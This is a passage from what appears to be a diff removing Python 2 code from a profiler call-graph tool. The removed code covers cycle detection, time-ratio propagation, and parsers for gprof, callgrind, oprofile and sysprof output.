function %s\n' % (str(callee_id), function.name)) - del function.calls[callee_id] - - def find_cycles(self): - """Find cycles using Tarjan's strongly connected components algorithm.""" - - # Apply the Tarjan's algorithm successively until all functions are visited - visited = set() - for function in self.functions.itervalues(): - if function not in visited: - self._tarjan(function, 0, [], {}, {}, visited) - cycles = [] - for function in self.functions.itervalues(): - if function.cycle is not None and function.cycle not in cycles: - cycles.append(function.cycle) - self.cycles = cycles - if 0: - for cycle in cycles: - sys.stderr.write("Cycle:\n") - for member in cycle.functions: - sys.stderr.write("\tFunction %s\n" % member.name) - - def _tarjan(self, function, order, stack, orders, lowlinks, visited): - """Tarjan's strongly connected components algorithm. - - See also: - - http://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm - """ - - visited.add(function) - orders[function] = order - lowlinks[function] = order - order += 1 - pos = len(stack) - stack.append(function) - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - # TODO: use a set to optimize lookup - if callee not in orders: - order = self._tarjan(callee, order, stack, orders, lowlinks, visited) - lowlinks[function] = min(lowlinks[function], lowlinks[callee]) - elif callee in stack: - lowlinks[function] = min(lowlinks[function], orders[callee]) - if lowlinks[function] == orders[function]: - # Strongly connected component found - members = stack[pos:] - del stack[pos:] - if len(members) > 1: - cycle = Cycle() - for member in members: - cycle.add_function(member) - return order - - def call_ratios(self, event): - # Aggregate for incoming calls - cycle_totals = {} - for cycle in self.cycles: - cycle_totals[cycle] = 0.0 - function_totals = {} - for function in self.functions.itervalues(): - function_totals[function] = 0.0 - for function in self.functions.itervalues(): - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - function_totals[callee] += call[event] - if callee.cycle is not None and callee.cycle is not function.cycle: - cycle_totals[callee.cycle] += call[event] - - # Compute the ratios - for function in self.functions.itervalues(): - for call in function.calls.itervalues(): - assert call.ratio is None - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is not None and callee.cycle is not function.cycle: - total = cycle_totals[callee.cycle] - else: - total = function_totals[callee] - call.ratio = ratio(call[event], total) - - def integrate(self, outevent, inevent): - """Propagate function time ratio allong the function calls. - - Must be called after finding the cycles. - - See also: - - http://citeseer.ist.psu.edu/graham82gprof.html - """ - - # Sanity checking - assert outevent not in self - for function in self.functions.itervalues(): - assert outevent not in function - assert inevent in function - for call in function.calls.itervalues(): - assert outevent not in call - if call.callee_id != function.id: - assert call.ratio is not None - - # Aggregate the input for each cycle - for cycle in self.cycles: - total = inevent.null() - for function in self.functions.itervalues(): - total = inevent.aggregate(total, function[inevent]) - self[inevent] = total - - # Integrate along the edges - total = inevent.null() - for function in self.functions.itervalues(): - total = inevent.aggregate(total, function[inevent]) - self._integrate_function(function, outevent, inevent) - self[outevent] = total - - def _integrate_function(self, function, outevent, inevent): - if function.cycle is not None: - return self._integrate_cycle(function.cycle, outevent, inevent) - else: - if outevent not in function: - total = function[inevent] - for call in function.calls.itervalues(): - if call.callee_id != function.id: - total += self._integrate_call(call, outevent, inevent) - function[outevent] = total - return function[outevent] - - def _integrate_call(self, call, outevent, inevent): - assert outevent not in call - assert call.ratio is not None - callee = self.functions[call.callee_id] - subtotal = call.ratio *self._integrate_function(callee, outevent, inevent) - call[outevent] = subtotal - return subtotal - - def _integrate_cycle(self, cycle, outevent, inevent): - if outevent not in cycle: - - # Compute the outevent for the whole cycle - total = inevent.null() - for member in cycle.functions: - subtotal = member[inevent] - for call in member.calls.itervalues(): - callee = self.functions[call.callee_id] - if callee.cycle is not cycle: - subtotal += self._integrate_call(call, outevent, inevent) - total += subtotal - cycle[outevent] = total - - # Compute the time propagated to callers of this cycle - callees = {} - for function in self.functions.itervalues(): - if function.cycle is not cycle: - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - try: - callees[callee] += call.ratio - except KeyError: - callees[callee] = call.ratio - - for member in cycle.functions: - member[outevent] = outevent.null() - - for callee, call_ratio in callees.iteritems(): - ranks = {} - call_ratios = {} - partials = {} - self._rank_cycle_function(cycle, callee, 0, ranks) - self._call_ratios_cycle(cycle, callee, ranks, call_ratios, set()) - partial = self._integrate_cycle_function(cycle, callee, call_ratio, partials, ranks, call_ratios, outevent, inevent) - assert partial == max(partials.values()) - assert not total or abs(1.0 - partial/(call_ratio*total)) <= 0.001 - - return cycle[outevent] - - def _rank_cycle_function(self, cycle, function, rank, ranks): - if function not in ranks or ranks[function] > rank: - ranks[function] = rank - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - self._rank_cycle_function(cycle, callee, rank + 1, ranks) - - def _call_ratios_cycle(self, cycle, function, ranks, call_ratios, visited): - if function not in visited: - visited.add(function) - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - if ranks[callee] > ranks[function]: - call_ratios[callee] = call_ratios.get(callee, 0.0) + call.ratio - self._call_ratios_cycle(cycle, callee, ranks, call_ratios, visited) - - def _integrate_cycle_function(self, cycle, function, partial_ratio, partials, ranks, call_ratios, outevent, inevent): - if function not in partials: - partial = partial_ratio*function[inevent] - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is not cycle: - assert outevent in call - partial += partial_ratio*call[outevent] - else: - if ranks[callee] > ranks[function]: - callee_partial = self._integrate_cycle_function(cycle, callee, partial_ratio, partials, ranks, call_ratios, outevent, inevent) - call_ratio = ratio(call.ratio, call_ratios[callee]) - call_partial = call_ratio*callee_partial - try: - call[outevent] += call_partial - except UndefinedEvent: - call[outevent] = call_partial - partial += call_partial - partials[function] = partial - try: - function[outevent] += partial - except UndefinedEvent: - function[outevent] = partial - return partials[function] - - def aggregate(self, event): - """Aggregate an event for the whole profile.""" - - total = event.null() - for function in self.functions.itervalues(): - try: - total = event.aggregate(total, function[event]) - except UndefinedEvent: - return - self[event] = total - - def ratio(self, outevent, inevent): - assert outevent not in self - assert inevent in self - for function in self.functions.itervalues(): - assert outevent not in function - assert inevent in function - function[outevent] = ratio(function[inevent], self[inevent]) - for call in function.calls.itervalues(): - assert outevent not in call - if inevent in call: - call[outevent] = ratio(call[inevent], self[inevent]) - self[outevent] = 1.0 - - def prune(self, node_thres, edge_thres): - """Prune the profile""" - - # compute the prune ratios - for function in self.functions.itervalues(): - try: - function.weight = function[TOTAL_TIME_RATIO] - except UndefinedEvent: - pass - - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - - if TOTAL_TIME_RATIO in call: - # handle exact cases first - call.weight = call[TOTAL_TIME_RATIO] - else: - try: - # make a safe estimate - call.weight = min(function[TOTAL_TIME_RATIO], callee[TOTAL_TIME_RATIO]) - except UndefinedEvent: - pass - - # prune the nodes - for function_id in self.functions.keys(): - function = self.functions[function_id] - if function.weight is not None: - if function.weight < node_thres: - del self.functions[function_id] - - # prune the egdes - for function in self.functions.itervalues(): - for callee_id in function.calls.keys(): - call = function.calls[callee_id] - if callee_id not in self.functions or call.weight is not None and call.weight < edge_thres: - del function.calls[callee_id] - - def dump(self): - for function in self.functions.itervalues(): - sys.stderr.write('Function %s:\n' % (function.name,)) - self._dump_events(function.events) - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - sys.stderr.write(' Call %s:\n' % (callee.name,)) - self._dump_events(call.events) - for cycle in self.cycles: - sys.stderr.write('Cycle:\n') - self._dump_events(cycle.events) - for function in cycle.functions: - sys.stderr.write(' Function %s\n' % (function.name,)) - - def _dump_events(self, events): - for event, value in events.iteritems(): - sys.stderr.write(' %s: %s\n' % (event.name, event.format(value))) - - -class Struct: - """Masquerade a dictionary with a structure-like behavior.""" - - def __init__(self, attrs = None): - if attrs is None: - attrs = {} - self.__dict__['_attrs'] = attrs - - def __getattr__(self, name): - try: - return self._attrs[name] - except KeyError: - raise AttributeError(name) - - def __setattr__(self, name, value): - self._attrs[name] = value - - def __str__(self): - return str(self._attrs) - - def __repr__(self): - return repr(self._attrs) - - -class ParseError(Exception): - """Raised when parsing to signal mismatches.""" - - def __init__(self, msg, line): - self.msg = msg - # TODO: store more source line information - self.line = line - - def __str__(self): - return '%s: %r' % (self.msg, self.line) - - -class Parser: - """Parser interface.""" - - def __init__(self): - pass - - def parse(self): - raise NotImplementedError - - -class LineParser(Parser): - """Base class for parsers that read line-based formats.""" - - def __init__(self, file): - Parser.__init__(self) - self._file = file - self.__line = None - self.__eof = False - - def readline(self): - line = self._file.readline() - if not line: - self.__line = '' - self.__eof = True - self.__line = line.rstrip('\r\n') - - def lookahead(self): - assert self.__line is not None - return self.__line - - def consume(self): - assert self.__line is not None - line = self.__line - self.readline() - return line - - def eof(self): - assert self.__line is not None - return self.__eof - - -XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF = range(4) - - -class XmlToken: - - def __init__(self, type, name_or_data, attrs = None, line = None, column = None): - assert type in (XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF) - self.type = type - self.name_or_data = name_or_data - self.attrs = attrs - self.line = line - self.column = column - - def __str__(self): - if self.type == XML_ELEMENT_START: - return '<' + self.name_or_data + ' ...>' - if self.type == XML_ELEMENT_END: - return '</' + self.name_or_data + '>' - if self.type == XML_CHARACTER_DATA: - return self.name_or_data - if self.type == XML_EOF: - return 'end of file' - assert 0 - - -class XmlTokenizer: - """Expat based XML tokenizer.""" - - def __init__(self, fp, skip_ws = True): - self.fp = fp - self.tokens = [] - self.index = 0 - self.final = False - self.skip_ws = skip_ws - - self.character_pos = 0, 0 - self.character_data = '' - - self.parser = xml.parsers.expat.ParserCreate() - self.parser.StartElementHandler = self.handle_element_start - self.parser.EndElementHandler = self.handle_element_end - self.parser.CharacterDataHandler = self.handle_character_data - - def handle_element_start(self, name, attributes): - self.finish_character_data() - line, column = self.pos() - token = XmlToken(XML_ELEMENT_START, name, attributes, line, column) - self.tokens.append(token) - - def handle_element_end(self, name): - self.finish_character_data() - line, column = self.pos() - token = XmlToken(XML_ELEMENT_END, name, None, line, column) - self.tokens.append(token) - - def handle_character_data(self, data): - if not self.character_data: - self.character_pos = self.pos() - self.character_data += data - - def finish_character_data(self): - if self.character_data: - if not self.skip_ws or not self.character_data.isspace(): - line, column = self.character_pos - token = XmlToken(XML_CHARACTER_DATA, self.character_data, None, line, column) - self.tokens.append(token) - self.character_data = '' - - def next(self): - size = 16*1024 - while self.index >= len(self.tokens) and not self.final: - self.tokens = [] - self.index = 0 - data = self.fp.read(size) - self.final = len(data) < size - try: - self.parser.Parse(data, self.final) - except xml.parsers.expat.ExpatError as e: - #if e.code == xml.parsers.expat.errors.XML_ERROR_NO_ELEMENTS: - if e.code == 3: - pass - else: - raise e - if self.index >= len(self.tokens): - line, column = self.pos() - token = XmlToken(XML_EOF, None, None, line, column) - else: - token = self.tokens[self.index] - self.index += 1 - return token - - def pos(self): - return self.parser.CurrentLineNumber, self.parser.CurrentColumnNumber - - -class XmlTokenMismatch(Exception): - - def __init__(self, expected, found): - self.expected = expected - self.found = found - - def __str__(self): - return '%u:%u: %s expected, %s found' % (self.found.line, self.found.column, str(self.expected), str(self.found)) - - -class XmlParser(Parser): - """Base XML document parser.""" - - def __init__(self, fp): - Parser.__init__(self) - self.tokenizer = XmlTokenizer(fp) - self.consume() - - def consume(self): - self.token = next(self.tokenizer) - - def match_element_start(self, name): - return self.token.type == XML_ELEMENT_START and self.token.name_or_data == name - - def match_element_end(self, name): - return self.token.type == XML_ELEMENT_END and self.token.name_or_data == name - - def element_start(self, name): - while self.token.type == XML_CHARACTER_DATA: - self.consume() - if self.token.type != XML_ELEMENT_START: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) - if self.token.name_or_data != name: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) - attrs = self.token.attrs - self.consume() - return attrs - - def element_end(self, name): - while self.token.type == XML_CHARACTER_DATA: - self.consume() - if self.token.type != XML_ELEMENT_END: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) - if self.token.name_or_data != name: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) - self.consume() - - def character_data(self, strip = True): - data = '' - while self.token.type == XML_CHARACTER_DATA: - data += self.token.name_or_data - self.consume() - if strip: - data = data.strip() - return data - - -class GprofParser(Parser): - """Parser for GNU gprof output. - - See also: - - Chapter "Interpreting gprof's Output" from the GNU gprof manual - http://sourceware.org/binutils/docs-2.18/gprof/Call-Graph.html#Call-Graph - - File "cg_print.c" from the GNU gprof source code - http://sourceware.org/cgi-bin/cvsweb.cgi/~checkout~/src/gprof/cg_print.c?rev=1.12&cvsroot=src - """ - - def __init__(self, fp): - Parser.__init__(self) - self.fp = fp - self.functions = {} - self.cycles = {} - - def readline(self): - line = self.fp.readline() - if not line: - sys.stderr.write('error: unexpected end of file\n') - sys.exit(1) - line = line.rstrip('\r\n') - return line - - _int_re = re.compile(r'^\d+$') - _float_re = re.compile(r'^\d+\.\d+$') - - def translate(self, mo): - """Extract a structure from a match object, while translating the types in the process.""" - attrs = {} - groupdict = mo.groupdict() - for name, value in groupdict.iteritems(): - if value is None: - value = None - elif self._int_re.match(value): - value = int(value) - elif self._float_re.match(value): - value = float(value) - attrs[name] = (value) - return Struct(attrs) - - _cg_header_re = re.compile( - # original gprof header - r'^\s+called/total\s+parents\s*$|' + - r'^index\s+%time\s+self\s+descendents\s+called\+self\s+name\s+index\s*$|' + - r'^\s+called/total\s+children\s*$|' + - # GNU gprof header - r'^index\s+%\s+time\s+self\s+children\s+called\s+name\s*$' - ) - - _cg_ignore_re = re.compile( - # spontaneous - r'^\s+<spontaneous>\s*$|' - # internal calls (such as "mcount") - r'^.*\((\d+)\)$' - ) - - _cg_primary_re = re.compile( - r'^\[(?P<index>\d+)\]?' + - r'\s+(?P<percentage_time>\d+\.\d+)' + - r'\s+(?P<self>\d+\.\d+)' + - r'\s+(?P<descendants>\d+\.\d+)' + - r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(\d+)\]$' - ) - - _cg_parent_re = re.compile( - r'^\s+(?P<self>\d+\.\d+)?' + - r'\s+(?P<descendants>\d+\.\d+)?' + - r'\s+(?P<called>\d+)(?:/(?P<called_total>\d+))?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(?P<index>\d+)\]$' - ) - - _cg_child_re = _cg_parent_re - - _cg_cycle_header_re = re.compile( - r'^\[(?P<index>\d+)\]?' + - r'\s+(?P<percentage_time>\d+\.\d+)' + - r'\s+(?P<self>\d+\.\d+)' + - r'\s+(?P<descendants>\d+\.\d+)' + - r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + - r'\s+<cycle\s(?P<cycle>\d+)\sas\sa\swhole>' + - r'\s\[(\d+)\]$' - ) - - _cg_cycle_member_re = re.compile( - r'^\s+(?P<self>\d+\.\d+)?' + - r'\s+(?P<descendants>\d+\.\d+)?' + - r'\s+(?P<called>\d+)(?:\+(?P<called_self>\d+))?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(?P<index>\d+)\]$' - ) - - _cg_sep_re = re.compile(r'^--+$') - - def parse_function_entry(self, lines): - parents = [] - children = [] - - while True: - if not lines: - sys.stderr.write('warning: unexpected end of entry\n') - line = lines.pop(0) - if line.startswith('['): - break - - # read function parent line - mo = self._cg_parent_re.match(line) - if not mo: - if self._cg_ignore_re.match(line): - continue - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - else: - parent = self.translate(mo) - parents.append(parent) - - # read primary line - mo = self._cg_primary_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - return - else: - function = self.translate(mo) - - while lines: - line = lines.pop(0) - - # read function subroutine line - mo = self._cg_child_re.match(line) - if not mo: - if self._cg_ignore_re.match(line): - continue - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - else: - child = self.translate(mo) - children.append(child) - - function.parents = parents - function.children = children - - self.functions[function.index] = function - - def parse_cycle_entry(self, lines): - - # read cycle header line - line = lines[0] - mo = self._cg_cycle_header_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - return - cycle = self.translate(mo) - - # read cycle member lines - cycle.functions = [] - for line in lines[1:]: - mo = self._cg_cycle_member_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - continue - call = self.translate(mo) - cycle.functions.append(call) - - self.cycles[cycle.cycle] = cycle - - def parse_cg_entry(self, lines): - if lines[0].startswith("["): - self.parse_cycle_entry(lines) - else: - self.parse_function_entry(lines) - - def parse_cg(self): - """Parse the call graph.""" - - # skip call graph header - while not self._cg_header_re.match(self.readline()): - pass - line = self.readline() - while self._cg_header_re.match(line): - line = self.readline() - - # process call graph entries - entry_lines = [] - while line != '\014': # form feed - if line and not line.isspace(): - if self._cg_sep_re.match(line): - self.parse_cg_entry(entry_lines) - entry_lines = [] - else: - entry_lines.append(line) - line = self.readline() - - def parse(self): - self.parse_cg() - self.fp.close() - - profile = Profile() - profile[TIME] = 0.0 - - cycles = {} - for index in self.cycles.iterkeys(): - cycles[index] = Cycle() - - for entry in self.functions.itervalues(): - # populate the function - function = Function(entry.index, entry.name) - function[TIME] = entry.self - if entry.called is not None: - function.called = entry.called - if entry.called_self is not None: - call = Call(entry.index) - call[CALLS] = entry.called_self - function.called += entry.called_self - - # populate the function calls - for child in entry.children: - call = Call(child.index) - - assert child.called is not None - call[CALLS] = child.called - - if child.index not in self.functions: - # NOTE: functions that were never called but were discovered by gprof's - # static call graph analysis dont have a call graph entry so we need - # to add them here - missing = Function(child.index, child.name) - function[TIME] = 0.0 - function.called = 0 - profile.add_function(missing) - - function.add_call(call) - - profile.add_function(function) - - if entry.cycle is not None: - try: - cycle = cycles[entry.cycle] - except KeyError: - sys.stderr.write('warning: <cycle %u as a whole> entry missing\n' % entry.cycle) - cycle = Cycle() - cycles[entry.cycle] = cycle - cycle.add_function(function) - - profile[TIME] = profile[TIME] + function[TIME] - - for cycle in cycles.itervalues(): - profile.add_cycle(cycle) - - # Compute derived events - profile.validate() - profile.ratio(TIME_RATIO, TIME) - profile.call_ratios(CALLS) - profile.integrate(TOTAL_TIME, TIME) - profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - - return profile - - -class CallgrindParser(LineParser): - """Parser for valgrind's callgrind tool. - - See also: - - http://valgrind.org/docs/manual/cl-Format.html - """ - - _call_re = re.compile('^calls=\s*(\d+)\s+((\d+|\+\d+|-\d+|\*)\s+)+$') - - def __init__(self, infile): - LineParser.__init__(self, infile) - - # Textual positions - self.position_ids = {} - self.positions = {} - - # Numeric positions - self.num_positions = 1 - self.cost_positions = ['line'] - self.last_positions = [0] - - # Events - self.num_events = 0 - self.cost_events = [] - - self.profile = Profile() - self.profile[SAMPLES] = 0 - - def parse(self): - # read lookahead - self.readline() - - self.parse_key('version') - self.parse_key('creator') - self.parse_part() - - # compute derived data - self.profile.validate() - self.profile.find_cycles() - self.profile.ratio(TIME_RATIO, SAMPLES) - self.profile.call_ratios(CALLS) - self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return self.profile - - def parse_part(self): - while self.parse_header_line(): - pass - while self.parse_body_line(): - pass - return True - - def parse_header_line(self): - return \ - self.parse_empty() or \ - self.parse_comment() or \ - self.parse_part_detail() or \ - self.parse_description() or \ - self.parse_event_specification() or \ - self.parse_cost_line_def() or \ - self.parse_cost_summary() - - _detail_keys = set(('cmd', 'pid', 'thread', 'part')) - - def parse_part_detail(self): - return self.parse_keys(self._detail_keys) - - def parse_description(self): - return self.parse_key('desc') is not None - - def parse_event_specification(self): - event = self.parse_key('event') - if event is None: - return False - return True - - def parse_cost_line_def(self): - pair = self.parse_keys(('events', 'positions')) - if pair is None: - return False - key, value = pair - items = value.split() - if key == 'events': - self.num_events = len(items) - self.cost_events = items - if key == 'positions': - self.num_positions = len(items) - self.cost_positions = items - self.last_positions = [0]*self.num_positions - return True - - def parse_cost_summary(self): - pair = self.parse_keys(('summary', 'totals')) - if pair is None: - return False - return True - - def parse_body_line(self): - return \ - self.parse_empty() or \ - self.parse_comment() or \ - self.parse_cost_line() or \ - self.parse_position_spec() or \ - self.parse_association_spec() - - _cost_re = re.compile(r'^(\d+|\+\d+|-\d+|\*)( \d+)+$') - - def parse_cost_line(self, calls=None): - line = self.lookahead() - mo = self._cost_re.match(line) - if not mo: - return False - - function = self.get_function() - - values = line.split(' ') - assert len(values) == self.num_positions + self.num_events - - positions = values[0 : self.num_positions] - events = values[self.num_positions : ] - - for i in range(self.num_positions): - position = positions[i] - if position == '*': - position = self.last_positions[i] - elif position[0] in '-+': - position = self.last_positions[i] + int(position) - else: - position = int(position) - self.last_positions[i] = position - - events = map(float, events) - - if calls is None: - function[SAMPLES] += events[0] - self.profile[SAMPLES] += events[0] - else: - callee = self.get_callee() - callee.called += calls - - try: - call = function.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[CALLS] = calls - call[SAMPLES] = events[0] - function.add_call(call) - else: - call[CALLS] += calls - call[SAMPLES] += events[0] - - self.consume() - return True - - def parse_association_spec(self): - line = self.lookahead() - if not line.startswith('calls='): - return False - - _, values = line.split('=', 1) - values = values.strip().split() - calls = int(values[0]) - call_position = values[1:] - self.consume() - - self.parse_cost_line(calls) - - return True - - _position_re = re.compile('^(?P<position>c?(?:ob|fl|fi|fe|fn))=\s*(?:\((?P<id>\d+)\))?(?:\s*(?P<name>.+))?') - - _position_table_map = { - 'ob': 'ob', - 'fl': 'fl', - 'fi': 'fl', - 'fe': 'fl', - 'fn': 'fn', - 'cob': 'ob', - 'cfl': 'fl', - 'cfi': 'fl', - 'cfe': 'fl', - 'cfn': 'fn', - } - - _position_map = { - 'ob': 'ob', - 'fl': 'fl', - 'fi': 'fl', - 'fe': 'fl', - 'fn': 'fn', - 'cob': 'cob', - 'cfl': 'cfl', - 'cfi': 'cfl', - 'cfe': 'cfl', - 'cfn': 'cfn', - } - - def parse_position_spec(self): - line = self.lookahead() - mo = self._position_re.match(line) - if not mo: - return False - - position, id, name = mo.groups() - if id: - table = self._position_table_map[position] - if name: - self.position_ids[(table, id)] = name - else: - name = self.position_ids.get((table, id), '') - self.positions[self._position_map[position]] = name - self.consume() - return True - - def parse_empty(self): - line = self.lookahead() - if line.strip(): - return False - self.consume() - return True - - def parse_comment(self): - line = self.lookahead() - if not line.startswith('#'): - return False - self.consume() - return True - - _key_re = re.compile(r'^(\w+):') - - def parse_key(self, key): - pair = self.parse_keys((key,)) - if not pair: - return None - key, value = pair - return value - line = self.lookahead() - mo = self._key_re.match(line) - if not mo: - return None - key, value = line.split(':', 1) - if key not in keys: - return None - value = value.strip() - self.consume() - return key, value - - def parse_keys(self, keys): - line = self.lookahead() - mo = self._key_re.match(line) - if not mo: - return None - key, value = line.split(':', 1) - if key not in keys: - return None - value = value.strip() - self.consume() - return key, value - - def make_function(self, module, filename, name): - # FIXME: module and filename are not being tracked reliably - #id = '|'.join((module, filename, name)) - id = name - try: - function = self.profile.functions[id] - except KeyError: - function = Function(id, name) - function[SAMPLES] = 0 - function.called = 0 - self.profile.add_function(function) - return function - - def get_function(self): - module = self.positions.get('ob', '') - filename = self.positions.get('fl', '') - function = self.positions.get('fn', '') - return self.make_function(module, filename, function) - - def get_callee(self): - module = self.positions.get('cob', '') - filename = self.positions.get('cfi', '') - function = self.positions.get('cfn', '') - return self.make_function(module, filename, function) - - -class OprofileParser(LineParser): - """Parser for oprofile callgraph output. - - See also: - - http://oprofile.sourceforge.net/doc/opreport.html#opreport-callgraph - """ - - _fields_re = { - 'samples': r'(\d+)', - '%': r'(\S+)', - 'linenr info': r'(?P<source>\(no location information\)|\S+:\d+)', - 'image name': r'(?P<image>\S+(?:\s\(tgid:[^)]*\))?)', - 'app name': r'(?P<application>\S+)', - 'symbol name': r'(?P<symbol>\(no symbols\)|.+?)', - } - - def __init__(self, infile): - LineParser.__init__(self, infile) - self.entries = {} - self.entry_re = None - - def add_entry(self, callers, function, callees): - try: - entry = self.entries[function.id] - except KeyError: - self.entries[function.id] = (callers, function, callees) - else: - callers_total, function_total, callees_total = entry - self.update_subentries_dict(callers_total, callers) - function_total.samples += function.samples - self.update_subentries_dict(callees_total, callees) - - def update_subentries_dict(self, totals, partials): - for partial in partials.itervalues(): - try: - total = totals[partial.id] - except KeyError: - totals[partial.id] = partial - else: - total.samples += partial.samples - - def parse(self): - # read lookahead - self.readline() - - self.parse_header() - while self.lookahead(): - self.parse_entry() - - profile = Profile() - - reverse_call_samples = {} - - # populate the profile - profile[SAMPLES] = 0 - for _callers, _function, _callees in self.entries.itervalues(): - function = Function(_function.id, _function.name) - function[SAMPLES] = _function.samples - profile.add_function(function) - profile[SAMPLES] += _function.samples - - if _function.application: - function.process = os.path.basename(_function.application) - if _function.image: - function.module = os.path.basename(_function.image) - - total_callee_samples = 0 - for _callee in _callees.itervalues(): - total_callee_samples += _callee.samples - - for _callee in _callees.itervalues(): - if not _callee.self: - call = Call(_callee.id) - call[SAMPLES2] = _callee.samples - function.add_call(call) - - # compute derived data - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - def parse_header(self): - while not self.match_header(): - self.consume() - line = self.lookahead() - fields = re.split(r'\s\s+', line) - entry_re = r'^\s*' + r'\s+'.join([self._fields_re[field] for field in fields]) + r'(?P<self>\s+\[self\])?$' - self.entry_re = re.compile(entry_re) - self.skip_separator() - - def parse_entry(self): - callers = self.parse_subentries() - if self.match_primary(): - function = self.parse_subentry() - if function is not None: - callees = self.parse_subentries() - self.add_entry(callers, function, callees) - self.skip_separator() - - def parse_subentries(self): - subentries = {} - while self.match_secondary(): - subentry = self.parse_subentry() - subentries[subentry.id] = subentry - return subentries - - def parse_subentry(self): - entry = Struct() - line = self.consume() - mo = self.entry_re.match(line) - if not mo: - raise ParseError('failed to parse', line) - fields = mo.groupdict() - entry.samples = int(mo.group(1)) - if 'source' in fields and fields['source'] != '(no location information)': - source = fields['source'] - filename, lineno = source.split(':') - entry.filename = filename - entry.lineno = int(lineno) - else: - source = '' - entry.filename = None - entry.lineno = None - entry.image = fields.get('image', '') - entry.application = fields.get('application', '') - if 'symbol' in fields and fields['symbol'] != '(no symbols)': - entry.symbol = fields['symbol'] - else: - entry.symbol = '' - if entry.symbol.startswith('"') and entry.symbol.endswith('"'): - entry.symbol = entry.symbol[1:-1] - entry.id = ':'.join((entry.application, entry.image, source, entry.symbol)) - entry.self = fields.get('self', None) != None - if entry.self: - entry.id += ':self' - if entry.symbol: - entry.name = entry.symbol - else: - entry.name = entry.image - return entry - - def skip_separator(self): - while not self.match_separator(): - self.consume() - self.consume() - - def match_header(self): - line = self.lookahead() - return line.startswith('samples') - - def match_separator(self): - line = self.lookahead() - return line == '-'*len(line) - - def match_primary(self): - line = self.lookahead() - return not line[:1].isspace() - - def match_secondary(self): - line = self.lookahead() - return line[:1].isspace() - - -class SysprofParser(XmlParser): - - def __init__(self, stream): - XmlParser.__init__(self, stream) - - def parse(self): - objects = {} - nodes = {} - - self.element_start('profile') - while self.token.type == XML_ELEMENT_START: - if self.token.name_or_data == 'objects': - assert not objects - objects = self.parse_items('objects') - elif self.token.name_or_data == 'nodes': - assert not nodes - nodes = self.parse_items('nodes') - else: - self.parse_value(self.token.name_or_data) - self.element_end('profile') - - return self.build_profile(objects, nodes) - - def parse_items(self, name): - assert name[-1] == 's' - items = {} - self.element_start(name) - while self.token.type == XML_ELEMENT_START: - id, values = self.parse_item(name[:-1]) - assert id not in items - items[id] = values - self.element_end(name) - return items - - def parse_item(self, name): - attrs = self.element_start(name) - id = int(attrs['id']) - values = self.parse_values() - self.element_end(name) - return id, values - - def parse_values(self): - values = {} - while self.token.type == XML_ELEMENT_START: - name = self.token.name_or_data - value = self.parse_value(name) - assert name not in values - values[name] = value - return values - - def parse_value(self, tag): - self.element_start(tag) - value = self.character_data() - self.element_end(tag) - if value.isdigit(): - return int(value) - if value.startswith('"') and value.endswith('"'): - return value[1:-1] - return value - - def build_profile(self, objects, nodes): - profile = Profile() - - profile[SAMPLES] = 0 - for id, object in objects.iteritems(): - # Ignore fake objects (process names, modules, "Everything", "kernel", etc.) - if object['self'] == 0: - continue - - function = Function(id, object['name']) - function[SAMPLES] = object['self'] - profile.add_function(function) - profile[SAMPLES] += function[SAMPLES] - - for id, node in nodes.iteritems(): - # Ignore fake calls - if node['self'] == 0: - continue - - # Find a non-ignored parent - parent_id = node['parent'] - while parent_id != 0: - parent = nodes[parent_id] - caller_id = parent['object'] - if objects[caller_id]['self'] != 0: - break - parent_id = parent['parent'] - if parent_id == 0: - continue - - callee_id = node['object'] - - assert objects[caller_id]['self'] - assert objects[callee_id]['self'] - - function = profile.functions[caller_id] - - samples = node['self'] - try: - call = function.calls[callee_id] - except KeyError: - call = Call(callee_id) - call[SAMPLES2] = samples - function.add_call(call) - else: - call[SAMPLES2] += samples - - # Compute derived events - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class SharkParser(LineParser): - """Parser for MacOSX Shark output. - - Author: tom@dbservice.com - """ - - def __init__(self, infile): - LineParser.__init__(self, infile) - self.stack = [] - self.entries = {} - - def add_entry(self, function): - try: - entry = 